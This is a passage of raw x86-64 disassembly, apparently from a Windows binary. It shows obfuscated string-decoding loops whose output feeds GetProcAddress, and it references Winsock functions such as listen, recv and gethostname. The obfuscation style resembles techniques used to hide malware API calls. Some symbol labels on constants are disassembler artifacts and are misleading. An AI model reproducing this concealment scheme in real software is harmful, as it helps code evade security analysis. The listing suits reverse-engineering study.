lea rax, [r8 + 1]
cmp rcx, rax
ja 0x140062524
lea rcx, [r8 + 0x64]
cmp rbx, rcx
ja 0x140062506
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400624e7
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400624c6
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400624a2
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140062483
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140062280
mov rbx, rcx
lea r8, [rcx + 0x7a]
jmp 0x140062280
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x21
jmp 0x140062270
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1b
jmp 0x140062203
lea ecx, [r11 - 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x15
jmp 0x140062186
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
movzx r10d, r11b
jmp 0x140062b83
lea ecx, [r11 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
inc r8
dec r11
inc r11
jmp 0x140062173
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
dec r11
inc r11
jmp 0x140062173
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
movzx r10d, r11b
jmp 0x140062bf0
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
jmp 0x140062c47
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
jmp 0x140062c47
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
movzx r10d, r11b
jmp 0x140062a48
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x140062a75
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x39
mov byte [rbp + r11 + 0x240], dil
inc r11
jmp 0x140062173
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
cmp r8, 1
jb 0x1400625bc
movzx r10d, r11b
lea edx, [r10 + 0x42]
movzx eax, r9b
and al, dl
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140062b83
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
cmp rbx, 0x5a
jae 0x140062a09
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140062949
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
jmp 0x1400625e2
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x140062a2d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140062898
lea ecx, [r11 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
jmp 0x140062622
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062a75
movzx r10d, r11b
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062a48
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062c47
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140062c47
movzx r10d, r11b
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062bf0
lea edx, [r11 - 0x7a]
movzx eax, dl
and al, r9b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140062173
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140062173
movzx r10d, r11b
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r9b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062b83
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140062808
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
jmp 0x140062667
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140062842
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006286a
movzx r10d, r11b
lea ecx, [r10 + 0x5a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x76
jmp 0x140062a48
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140062667
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5e
dec r11
inc r11
jmp 0x140062173
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400628c0
movzx r10d, r11b
lea ecx, [r10 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
jmp 0x140062b83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400628e8
movzx r10d, r11b
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x140062bf0
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006290f
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
add rbx, r8
jmp 0x140062c47
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140062622
lea ecx, [r11 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006297f
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400629ab
movzx r10d, r11b
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062a48
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400629d7
movzx r10d, r11b
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140062bf0
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400625e2
lea edx, [r11 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140062173
movzx r10d, r11b
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r11 + 0x240]
sub cl, al
add cl, 0x1c
lea edi, [rcx + rcx]
jmp 0x140062bed
movzx r10d, r11b
lea edx, [r10 - 0x52]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r10b, 9
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x3f
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x240], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x240], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea ecx, [r11 - 0x23]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0xb
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
lea ecx, [r11 - 0x45]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1d
jmp 0x140062c47
movzx r10d, r11b
lea edx, [r10 + 0x4f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x29
jmp 0x140062bed
lea ecx, [r11 - 0x67]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2f
dec r11
inc r11
jmp 0x140062173
movzx r10d, r11b
lea edx, [r10 + 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3b
jmp 0x140062b80
movzx r10d, r11b
lea edx, [r10 - 0x3f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x47
add dil, dl
sub r10b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x4b
add r9b, r10b
mov byte [rbp + r11 + 0x240], r9b
inc r8
dec r11
inc r11
jmp 0x140062173
lea ecx, [r11 + 0x55]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x53
dec r11
inc r11
jmp 0x140062173
movzx r10d, r11b
lea edx, [r10 - 0x61]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x59
add dil, dl
add r10b, 0x53
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x45
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x240], r9b
add rbx, r8
jmp 0x140062c47
lea ecx, [r11 - 0x17]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5f
add rbx, r8
jmp 0x140062c47
lea rcx, [r11 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x65
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140062173
movabs rcx, 0x538d202257f42c11
add rcx, r11
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x77
movzx eax, byte [rbp + r11 + 0x240]
add rax, r8
add r11, rax
inc r11
jmp 0x140062173
add r11b, 0x47
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0xf
jmp 0x140062170
sub r11b, 0x6f
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 9
jmp 0x140062160
lea rdx, [rbp + 0x1448b64]
jmp 0x140062ce7
lea rdx, [rbp + 0xab44bf]
jmp 0x140062ce7
lea rdx, [rbp + 0x240]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov byte [rbp + 0x40], 0x92
mov byte [rbp + 0x41], 0xae
mov byte [rbp + 0x42], 0xae
mov byte [rbp + 0x43], 0x82
mov byte [rbp + 0x44], __WSAFDIsSet
mov byte [rbp + 0x45], 0x9b
mov byte [rbp + 0x46], 0x8c
mov byte [rbp + 0x47], 0x9e
mov byte [rbp + 0x48], 0x67
mov byte [rbp + 0x49], 0xbd
mov byte [rbp + 0x4a], 0x9a
mov byte [rbp + 0x4b], 0x92
mov byte [rbp + 0x4c], 0x87
mov byte [rbp + 0x4d], 0xa6
mov byte [rbp + 0x4e], 0xe0
xor eax, eax
mov dword [rbp + 0x4f], eax
mov word [rbp + 0x53], ax
movabs rsi, 0xd39568d00ec09ddd
movabs r12, 0x7ac03a702c41d997
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x140063820
movzx r10d, byte [rbp + r11 + 0x40]
mov rdx, r10
cmp rbx, r11
ja 0x140063817
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140062db2
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xb
jmp 0x140062dd2
je 0x1400637ac
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006377a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140063736
cmp r8, r11
ja 0x14006380e
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140062dfc
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x140062e30
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006371a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400636f9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400636de
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400636c3
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140063390
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006336d
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140063345
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140063320
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140063303
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400632e8
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400632cd
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400632ae
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140063293
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140063269
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140062e40
lea rbx, [r8 + 4]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400637f1
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400637d4
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006302a
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006300f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140062ff4
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140063220
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400631d7
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140063197
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140063174
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140062e40
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 9]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140063146
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140063127
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140063104
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400630e5
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400630c6
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400630a9
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140063088
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140063064
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140063045
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140062e40
lea rbx, [r8 + 6]
lea r8, [rbx + 1]
jmp 0x140062e40
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x140062e30
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
jmp 0x140062dd2
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x33
jmp 0x140062d83
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
movzx r9d, r11b
jmp 0x140063750
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
inc r8
dec r11
inc r11
jmp 0x140062d73
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
dec r11
inc r11
jmp 0x140062d73
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
movzx r9d, r11b
jmp 0x140063612
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063790
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063793
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140063659
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063682
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea ecx, [r11 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
mov byte [rbp + r11 + 0x40], dil
inc r11
jmp 0x140062d73
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
cmp r8, 0xa
jb 0x14006318a
movzx r9d, r11b
lea ecx, [r9 + 0xe]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140063750
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp rbx, 0x2a
jae 0x1400635f5
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140063541
lea edx, [r11 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400631ad
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xf
lea rax, [r8 + rbx]
cmp rax, 8
je 0x14006363e
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x140063491
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x1400631ed
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
jmp 0x140063682
movzx r9d, r11b
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140063659
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140063793
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140063790
movzx r9d, r11b
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140063612
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140062d73
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140062d73
movzx r9d, r11b
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063750
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x1400633b4
lea ecx, [r11 - 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xb
jmp 0x140063236
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400633eb
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063417
movzx r9d, r11b
lea edx, [r9 - 0x4a]
movzx eax, dl
and al, r10b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063659
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006343b
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140063790
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063463
movzx r9d, r11b
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x140063618
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140063236
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x52
dec r11
inc r11
jmp 0x140062d73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400634b9
movzx r9d, r11b
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
jmp 0x140063750
cmp rbx, rcx
jne 0x1400634e2
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
inc r8
dec r11
inc r11
jmp 0x140062d73
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006350a
movzx r9d, r11b
lea ecx, [r9 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
jmp 0x140063618
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400631ed
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063578
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400635a4
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140063659
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400635c9
movzx r9d, r11b
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140063618
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400631ad
movzx r9d, r11b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140063750
movzx r9d, r11b
lea edx, [r9 - 0x38]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x40]
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r10b
sub r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0x7d
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
jmp 0x140063790
movzx r9d, r11b
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x67
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
jmp 0x140063793
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x140063790
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x29
dec r11
inc r11
jmp 0x140062d73
movzx r9d, r11b
lea ecx, [r9 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 3
jmp 0x140063750
movzx r9d, r11b
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
sub r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x6d
add r9b, r10b
mov byte [rbp + r11 + 0x40], r9b
inc r8
dec r11
inc r11
jmp 0x140062d73
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x79
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140062d73
lea rcx, [r11 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x21
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140062d73
sub r11b, 0x2f
movzx eax, r11b
and al, r10b
add al, al
